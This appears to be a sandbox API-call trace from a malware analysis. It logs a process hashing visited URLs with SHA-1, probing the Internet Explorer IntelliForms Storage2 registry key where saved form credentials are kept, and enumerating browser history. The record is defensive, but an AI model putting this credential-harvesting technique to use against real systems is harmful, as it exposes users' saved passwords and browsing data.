lpString1="23761112F82F6B15903C36A4") returned="23761112F82F6B15903C36A4" [0097.056] LocalFree (hMem=0x72912f0) returned 0x0 [0097.057] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4C") returned 2 [0097.057] lstrlenW (lpString="23761112F82F6B15903C36A4") returned 24 [0097.057] lstrlenW (lpString="4C") returned 2 [0097.057] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.057] lstrcpyW (in: lpString1=0x72912f0, lpString2="23761112F82F6B15903C36A4" | out: lpString1="23761112F82F6B15903C36A4") returned="23761112F82F6B15903C36A4" [0097.057] lstrcatW (in: lpString1="23761112F82F6B15903C36A4", lpString2="4C" | out: lpString1="23761112F82F6B15903C36A44C") returned="23761112F82F6B15903C36A44C" [0097.057] LocalFree (hMem=0x7290b70) returned 0x0 [0097.057] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F2") returned 2 [0097.057] lstrlenW (lpString="23761112F82F6B15903C36A44C") returned 26 [0097.057] lstrlenW (lpString="F2") returned 2 [0097.057] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.057] lstrcpyW (in: lpString1=0x2815a80, lpString2="23761112F82F6B15903C36A44C" | out: lpString1="23761112F82F6B15903C36A44C") returned="23761112F82F6B15903C36A44C" [0097.057] lstrcatW (in: lpString1="23761112F82F6B15903C36A44C", lpString2="F2" | out: lpString1="23761112F82F6B15903C36A44CF2") returned="23761112F82F6B15903C36A44CF2" [0097.057] LocalFree (hMem=0x72912f0) returned 0x0 [0097.057] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BD") returned 2 [0097.057] lstrlenW (lpString="23761112F82F6B15903C36A44CF2") returned 28 [0097.057] lstrlenW (lpString="BD") returned 2 [0097.057] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.057] lstrcpyW (in: lpString1=0x2815670, lpString2="23761112F82F6B15903C36A44CF2" | out: lpString1="23761112F82F6B15903C36A44CF2") returned="23761112F82F6B15903C36A44CF2" [0097.057] lstrcatW (in: lpString1="23761112F82F6B15903C36A44CF2", lpString2="BD" | out: lpString1="23761112F82F6B15903C36A44CF2BD") returned="23761112F82F6B15903C36A44CF2BD" [0097.057] LocalFree (hMem=0x2815a80) returned 0x0 [0097.057] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="19") returned 2 [0097.057] lstrlenW (lpString="23761112F82F6B15903C36A44CF2BD") returned 30 [0097.057] lstrlenW (lpString="19") returned 2 [0097.057] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.057] lstrcpyW (in: lpString1=0x2815a80, lpString2="23761112F82F6B15903C36A44CF2BD" | out: lpString1="23761112F82F6B15903C36A44CF2BD") returned="23761112F82F6B15903C36A44CF2BD" [0097.057] lstrcatW (in: lpString1="23761112F82F6B15903C36A44CF2BD", lpString2="19" | out: lpString1="23761112F82F6B15903C36A44CF2BD19") returned="23761112F82F6B15903C36A44CF2BD19" [0097.057] LocalFree (hMem=0x2815670) returned 0x0 [0097.057] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BE") returned 2 [0097.057] lstrlenW (lpString="23761112F82F6B15903C36A44CF2BD19") returned 32 [0097.057] lstrlenW (lpString="BE") returned 2 [0097.057] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.057] lstrcpyW (in: lpString1=0x2815670, lpString2="23761112F82F6B15903C36A44CF2BD19" | out: lpString1="23761112F82F6B15903C36A44CF2BD19") returned="23761112F82F6B15903C36A44CF2BD19" [0097.057] lstrcatW (in: lpString1="23761112F82F6B15903C36A44CF2BD19", lpString2="BE" | out: lpString1="23761112F82F6B15903C36A44CF2BD19BE") returned="23761112F82F6B15903C36A44CF2BD19BE" [0097.057] LocalFree (hMem=0x2815a80) returned 0x0 [0097.057] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1B") returned 2 [0097.058] lstrlenW (lpString="23761112F82F6B15903C36A44CF2BD19BE") returned 34 [0097.058] lstrlenW (lpString="1B") returned 2 [0097.058] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.058] lstrcpyW (in: lpString1=0x28e7910, lpString2="23761112F82F6B15903C36A44CF2BD19BE" | out: lpString1="23761112F82F6B15903C36A44CF2BD19BE") returned="23761112F82F6B15903C36A44CF2BD19BE" [0097.058] lstrcatW (in: lpString1="23761112F82F6B15903C36A44CF2BD19BE", lpString2="1B" | out: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B") returned="23761112F82F6B15903C36A44CF2BD19BE1B" [0097.058] LocalFree (hMem=0x2815670) returned 0x0 [0097.058] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0097.058] lstrlenW (lpString="23761112F82F6B15903C36A44CF2BD19BE1B") returned 36 [0097.058] lstrlenW (lpString="5E") returned 2 [0097.058] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.058] lstrcpyW (in: lpString1=0x28e7670, lpString2="23761112F82F6B15903C36A44CF2BD19BE1B" | out: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B") returned="23761112F82F6B15903C36A44CF2BD19BE1B" [0097.058] lstrcatW (in: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B", lpString2="5E" | out: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B5E") returned="23761112F82F6B15903C36A44CF2BD19BE1B5E" [0097.058] LocalFree (hMem=0x28e7910) returned 0x0 [0097.058] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="50") returned 2 [0097.058] lstrlenW (lpString="23761112F82F6B15903C36A44CF2BD19BE1B5E") returned 38 [0097.058] lstrlenW (lpString="50") returned 2 [0097.058] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.058] lstrcpyW (in: lpString1=0x28e7910, lpString2="23761112F82F6B15903C36A44CF2BD19BE1B5E" | out: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B5E") returned="23761112F82F6B15903C36A44CF2BD19BE1B5E" [0097.058] lstrcatW (in: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B5E", lpString2="50" | out: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B5E50") returned="23761112F82F6B15903C36A44CF2BD19BE1B5E50" [0097.058] LocalFree (hMem=0x28e7670) returned 0x0 [0097.058] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A4") returned 2 [0097.058] lstrlenW (lpString="23761112F82F6B15903C36A44CF2BD19BE1B5E50") returned 40 [0097.058] lstrlenW (lpString="A4") returned 2 [0097.058] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.058] lstrcpyW (in: lpString1=0x28e7670, lpString2="23761112F82F6B15903C36A44CF2BD19BE1B5E50" | out: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B5E50") returned="23761112F82F6B15903C36A44CF2BD19BE1B5E50" [0097.058] lstrcatW (in: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B5E50", lpString2="A4" | out: lpString1="23761112F82F6B15903C36A44CF2BD19BE1B5E50A4") returned="23761112F82F6B15903C36A44CF2BD19BE1B5E50A4" [0097.058] LocalFree (hMem=0x28e7910) returned 0x0 [0097.058] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.058] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.058] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.058] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.058] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.058] LocalFree (hMem=0x28e7670) returned 0x0 [0097.058] RegEnumValueW (in: hKey=0x368, dwIndex=0x31, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url1", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.059] StrStrIW (lpFirst="hurriyet.com.tr", lpSrch="?") returned 0x0 [0097.059] StrStrIW (lpFirst="hurriyet.com.tr", lpSrch="http://") returned 0x0 [0097.059] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.059] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.059] lstrlenW (lpString="hurriyet.com.tr") returned 15 [0097.059] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x20, dwFlags=0x0) returned 1 [0097.059] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.059] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CD") returned 2 [0097.059] lstrlenW (lpString="") returned 0 [0097.059] lstrlenW (lpString="CD") returned 2 [0097.059] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.059] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.059] lstrcatW (in: lpString1="", lpString2="CD" | out: lpString1="CD") returned="CD" [0097.059] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4C") returned 2 [0097.059] lstrlenW (lpString="CD") returned 2 [0097.059] lstrlenW (lpString="4C") returned 2 [0097.059] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0097.059] lstrcpyW (in: lpString1=0x28c81c0, lpString2="CD" | out: lpString1="CD") returned="CD" [0097.059] lstrcatW (in: lpString1="CD", lpString2="4C" | out: lpString1="CD4C") returned="CD4C" [0097.060] LocalFree (hMem=0x7222e70) returned 0x0 [0097.060] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="93") returned 2 [0097.060] lstrlenW (lpString="CD4C") returned 4 [0097.060] lstrlenW (lpString="93") returned 2 [0097.060] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0097.060] lstrcpyW (in: lpString1=0x28ca380, lpString2="CD4C" | out: lpString1="CD4C") returned="CD4C" [0097.060] lstrcatW (in: lpString1="CD4C", lpString2="93" | out: lpString1="CD4C93") returned="CD4C93" [0097.060] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.060] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2E") returned 2 [0097.060] lstrlenW (lpString="CD4C93") returned 6 [0097.060] lstrlenW (lpString="2E") returned 2 [0097.060] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0097.060] lstrcpyW (in: lpString1=0x28c81c0, lpString2="CD4C93" | out: lpString1="CD4C93") returned="CD4C93" [0097.060] lstrcatW (in: lpString1="CD4C93", lpString2="2E" | out: lpString1="CD4C932E") returned="CD4C932E" [0097.060] LocalFree (hMem=0x28ca380) returned 0x0 [0097.060] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="27") returned 2 [0097.060] lstrlenW (lpString="CD4C932E") returned 8 [0097.060] lstrlenW (lpString="27") returned 2 [0097.060] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0097.060] lstrcpyW (in: lpString1=0x28ca380, lpString2="CD4C932E" | out: lpString1="CD4C932E") returned="CD4C932E" [0097.060] lstrcatW (in: lpString1="CD4C932E", lpString2="27" | out: lpString1="CD4C932E27") returned="CD4C932E27" [0097.060] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.060] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C0") returned 2 [0097.060] lstrlenW (lpString="CD4C932E27") returned 10 [0097.060] lstrlenW (lpString="C0") returned 2 [0097.060] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.060] lstrcpyW (in: lpString1=0x71cfb40, lpString2="CD4C932E27" | out: lpString1="CD4C932E27") returned="CD4C932E27" [0097.060] lstrcatW (in: lpString1="CD4C932E27", lpString2="C0" | out: lpString1="CD4C932E27C0") returned="CD4C932E27C0" [0097.060] LocalFree (hMem=0x28ca380) returned 0x0 [0097.060] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8A") returned 2 [0097.060] lstrlenW (lpString="CD4C932E27C0") returned 12 [0097.060] lstrlenW (lpString="8A") returned 2 [0097.060] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.060] lstrcpyW (in: lpString1=0x71cf460, lpString2="CD4C932E27C0" | out: lpString1="CD4C932E27C0") returned="CD4C932E27C0" [0097.060] lstrcatW (in: lpString1="CD4C932E27C0", lpString2="8A" | out: lpString1="CD4C932E27C08A") returned="CD4C932E27C08A" [0097.060] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.060] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B8") returned 2 [0097.060] lstrlenW (lpString="CD4C932E27C08A") returned 14 [0097.061] lstrlenW (lpString="B8") returned 2 [0097.061] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.061] lstrcpyW (in: lpString1=0x71cfb40, lpString2="CD4C932E27C08A" | out: lpString1="CD4C932E27C08A") returned="CD4C932E27C08A" [0097.061] lstrcatW (in: lpString1="CD4C932E27C08A", lpString2="B8" | out: lpString1="CD4C932E27C08AB8") returned="CD4C932E27C08AB8" [0097.061] LocalFree (hMem=0x71cf460) returned 0x0 [0097.061] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="75") returned 2 [0097.061] lstrlenW (lpString="CD4C932E27C08AB8") returned 16 [0097.061] lstrlenW (lpString="75") returned 2 [0097.061] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.061] lstrcpyW (in: lpString1=0x71cf460, lpString2="CD4C932E27C08AB8" | out: lpString1="CD4C932E27C08AB8") returned="CD4C932E27C08AB8" [0097.061] lstrcatW (in: lpString1="CD4C932E27C08AB8", lpString2="75" | out: lpString1="CD4C932E27C08AB875") returned="CD4C932E27C08AB875" [0097.061] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.061] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0097.061] lstrlenW (lpString="CD4C932E27C08AB875") returned 18 [0097.061] lstrlenW (lpString="12") returned 2 [0097.061] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.061] lstrcpyW (in: lpString1=0x72912f0, lpString2="CD4C932E27C08AB875" | out: lpString1="CD4C932E27C08AB875") returned="CD4C932E27C08AB875" [0097.061] lstrcatW (in: lpString1="CD4C932E27C08AB875", lpString2="12" | out: lpString1="CD4C932E27C08AB87512") returned="CD4C932E27C08AB87512" [0097.061] LocalFree (hMem=0x71cf460) returned 0x0 [0097.061] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="00") returned 2 [0097.061] lstrlenW (lpString="CD4C932E27C08AB87512") returned 20 [0097.061] lstrlenW (lpString="00") returned 2 [0097.061] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.061] lstrcpyW (in: lpString1=0x7290b70, lpString2="CD4C932E27C08AB87512" | out: lpString1="CD4C932E27C08AB87512") returned="CD4C932E27C08AB87512" [0097.061] lstrcatW (in: lpString1="CD4C932E27C08AB87512", lpString2="00" | out: lpString1="CD4C932E27C08AB8751200") returned="CD4C932E27C08AB8751200" [0097.061] LocalFree (hMem=0x72912f0) returned 0x0 [0097.061] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C9") returned 2 [0097.061] lstrlenW (lpString="CD4C932E27C08AB8751200") returned 22 [0097.061] lstrlenW (lpString="C9") returned 2 [0097.061] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.061] lstrcpyW (in: lpString1=0x72912f0, lpString2="CD4C932E27C08AB8751200" | out: lpString1="CD4C932E27C08AB8751200") returned="CD4C932E27C08AB8751200" [0097.061] lstrcatW (in: lpString1="CD4C932E27C08AB8751200", lpString2="C9" | out: lpString1="CD4C932E27C08AB8751200C9") returned="CD4C932E27C08AB8751200C9" [0097.061] LocalFree (hMem=0x7290b70) returned 0x0 [0097.061] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="28") returned 2 [0097.061] lstrlenW (lpString="CD4C932E27C08AB8751200C9") returned 24 [0097.061] lstrlenW (lpString="28") returned 2 [0097.062] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.062] lstrcpyW (in: lpString1=0x7290b70, lpString2="CD4C932E27C08AB8751200C9" | out: lpString1="CD4C932E27C08AB8751200C9") returned="CD4C932E27C08AB8751200C9" [0097.062] lstrcatW (in: lpString1="CD4C932E27C08AB8751200C9", lpString2="28" | out: lpString1="CD4C932E27C08AB8751200C928") returned="CD4C932E27C08AB8751200C928" [0097.062] LocalFree (hMem=0x72912f0) returned 0x0 [0097.062] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="18") returned 2 [0097.062] lstrlenW (lpString="CD4C932E27C08AB8751200C928") returned 26 [0097.062] lstrlenW (lpString="18") returned 2 [0097.062] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.062] lstrcpyW (in: lpString1=0x2815670, lpString2="CD4C932E27C08AB8751200C928" | out: lpString1="CD4C932E27C08AB8751200C928") returned="CD4C932E27C08AB8751200C928" [0097.062] lstrcatW (in: lpString1="CD4C932E27C08AB8751200C928", lpString2="18" | out: lpString1="CD4C932E27C08AB8751200C92818") returned="CD4C932E27C08AB8751200C92818" [0097.062] LocalFree (hMem=0x7290b70) returned 0x0 [0097.062] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6B") returned 2 [0097.062] lstrlenW (lpString="CD4C932E27C08AB8751200C92818") returned 28 [0097.062] lstrlenW (lpString="6B") returned 2 [0097.062] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.062] lstrcpyW (in: lpString1=0x2815a80, lpString2="CD4C932E27C08AB8751200C92818" | out: lpString1="CD4C932E27C08AB8751200C92818") returned="CD4C932E27C08AB8751200C92818" [0097.062] lstrcatW (in: lpString1="CD4C932E27C08AB8751200C92818", lpString2="6B" | out: lpString1="CD4C932E27C08AB8751200C928186B") returned="CD4C932E27C08AB8751200C928186B" [0097.062] LocalFree (hMem=0x2815670) returned 0x0 [0097.062] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="82") returned 2 [0097.062] lstrlenW (lpString="CD4C932E27C08AB8751200C928186B") returned 30 [0097.062] lstrlenW (lpString="82") returned 2 [0097.062] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.062] lstrcpyW (in: lpString1=0x2815670, lpString2="CD4C932E27C08AB8751200C928186B" | out: lpString1="CD4C932E27C08AB8751200C928186B") returned="CD4C932E27C08AB8751200C928186B" [0097.062] lstrcatW (in: lpString1="CD4C932E27C08AB8751200C928186B", lpString2="82" | out: lpString1="CD4C932E27C08AB8751200C928186B82") returned="CD4C932E27C08AB8751200C928186B82" [0097.062] LocalFree (hMem=0x2815a80) returned 0x0 [0097.062] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3F") returned 2 [0097.062] lstrlenW (lpString="CD4C932E27C08AB8751200C928186B82") returned 32 [0097.062] lstrlenW (lpString="3F") returned 2 [0097.062] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.062] lstrcpyW (in: lpString1=0x2815a80, lpString2="CD4C932E27C08AB8751200C928186B82" | out: lpString1="CD4C932E27C08AB8751200C928186B82") returned="CD4C932E27C08AB8751200C928186B82" [0097.062] lstrcatW (in: lpString1="CD4C932E27C08AB8751200C928186B82", lpString2="3F" | out: lpString1="CD4C932E27C08AB8751200C928186B823F") returned="CD4C932E27C08AB8751200C928186B823F" [0097.062] LocalFree (hMem=0x2815670) returned 0x0 [0097.062] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="05") returned 2 [0097.062] lstrlenW (lpString="CD4C932E27C08AB8751200C928186B823F") returned 34 [0097.062] lstrlenW (lpString="05") returned 2 [0097.062] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.062] lstrcpyW (in: lpString1=0x28e7670, lpString2="CD4C932E27C08AB8751200C928186B823F" | out: lpString1="CD4C932E27C08AB8751200C928186B823F") returned="CD4C932E27C08AB8751200C928186B823F" [0097.062] lstrcatW (in: lpString1="CD4C932E27C08AB8751200C928186B823F", lpString2="05" | out: lpString1="CD4C932E27C08AB8751200C928186B823F05") returned="CD4C932E27C08AB8751200C928186B823F05" [0097.063] LocalFree (hMem=0x2815a80) returned 0x0 [0097.063] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9C") returned 2 [0097.063] lstrlenW (lpString="CD4C932E27C08AB8751200C928186B823F05") returned 36 [0097.063] lstrlenW (lpString="9C") returned 2 [0097.063] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.063] lstrcpyW (in: lpString1=0x28e7910, lpString2="CD4C932E27C08AB8751200C928186B823F05" | out: lpString1="CD4C932E27C08AB8751200C928186B823F05") returned="CD4C932E27C08AB8751200C928186B823F05" [0097.063] lstrcatW (in: lpString1="CD4C932E27C08AB8751200C928186B823F05", lpString2="9C" | out: lpString1="CD4C932E27C08AB8751200C928186B823F059C") returned="CD4C932E27C08AB8751200C928186B823F059C" [0097.063] LocalFree (hMem=0x28e7670) returned 0x0 [0097.063] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="47") returned 2 [0097.063] lstrlenW (lpString="CD4C932E27C08AB8751200C928186B823F059C") returned 38 [0097.063] lstrlenW (lpString="47") returned 2 [0097.063] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.063] lstrcpyW (in: lpString1=0x28e7670, lpString2="CD4C932E27C08AB8751200C928186B823F059C" | out: lpString1="CD4C932E27C08AB8751200C928186B823F059C") returned="CD4C932E27C08AB8751200C928186B823F059C" [0097.063] lstrcatW (in: lpString1="CD4C932E27C08AB8751200C928186B823F059C", lpString2="47" | out: lpString1="CD4C932E27C08AB8751200C928186B823F059C47") returned="CD4C932E27C08AB8751200C928186B823F059C47" [0097.063] LocalFree (hMem=0x28e7910) returned 0x0 [0097.063] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A7") returned 2 [0097.063] lstrlenW (lpString="CD4C932E27C08AB8751200C928186B823F059C47") returned 40 [0097.063] lstrlenW (lpString="A7") returned 2 [0097.063] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.063] lstrcpyW (in: lpString1=0x28e7910, lpString2="CD4C932E27C08AB8751200C928186B823F059C47" | out: lpString1="CD4C932E27C08AB8751200C928186B823F059C47") returned="CD4C932E27C08AB8751200C928186B823F059C47" [0097.063] lstrcatW (in: lpString1="CD4C932E27C08AB8751200C928186B823F059C47", lpString2="A7" | out: lpString1="CD4C932E27C08AB8751200C928186B823F059C47A7") returned="CD4C932E27C08AB8751200C928186B823F059C47A7" [0097.063] LocalFree (hMem=0x28e7670) returned 0x0 [0097.063] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.063] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.063] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.063] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.063] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.063] LocalFree (hMem=0x28e7910) returned 0x0 [0097.063] RegEnumValueW (in: hKey=0x368, dwIndex=0x32, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url1", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x103 [0097.063] RegCloseKey (hKey=0x368) returned 0x0 [0097.063] LocalFree (hMem=0x28ff190) returned 0x0 [0097.064] GetProcAddress (hModule=0x7fefea30000, lpProcName="CoCreateInstance") returned 0x7fefea57490 [0097.064] CoCreateInstance (in: rclsid=0x94ea670*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x94ea6b0*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppv=0x54dfd70 | out: ppv=0x54dfd70*=0x43b3eb0) returned 0x0 [0097.064] IUrlHistoryStg:EnumUrls (in: This=0x43b3eb0, ppenum=0x54dfd68 | out: ppenum=0x54dfd68*=0x7293c80) returned 0x0 [0097.074] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.075] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/2_3-k08.xlsx", lpSrch="?") returned 0x0 [0097.075] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.075] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.075] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/2_3-k08.xlsx") returned 62 [0097.075] CryptHashData (hHash=0x4469af0, pbData=0x7183220, dwDataLen=0x7e, dwFlags=0x0) returned 1 [0097.075] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.075] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.075] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 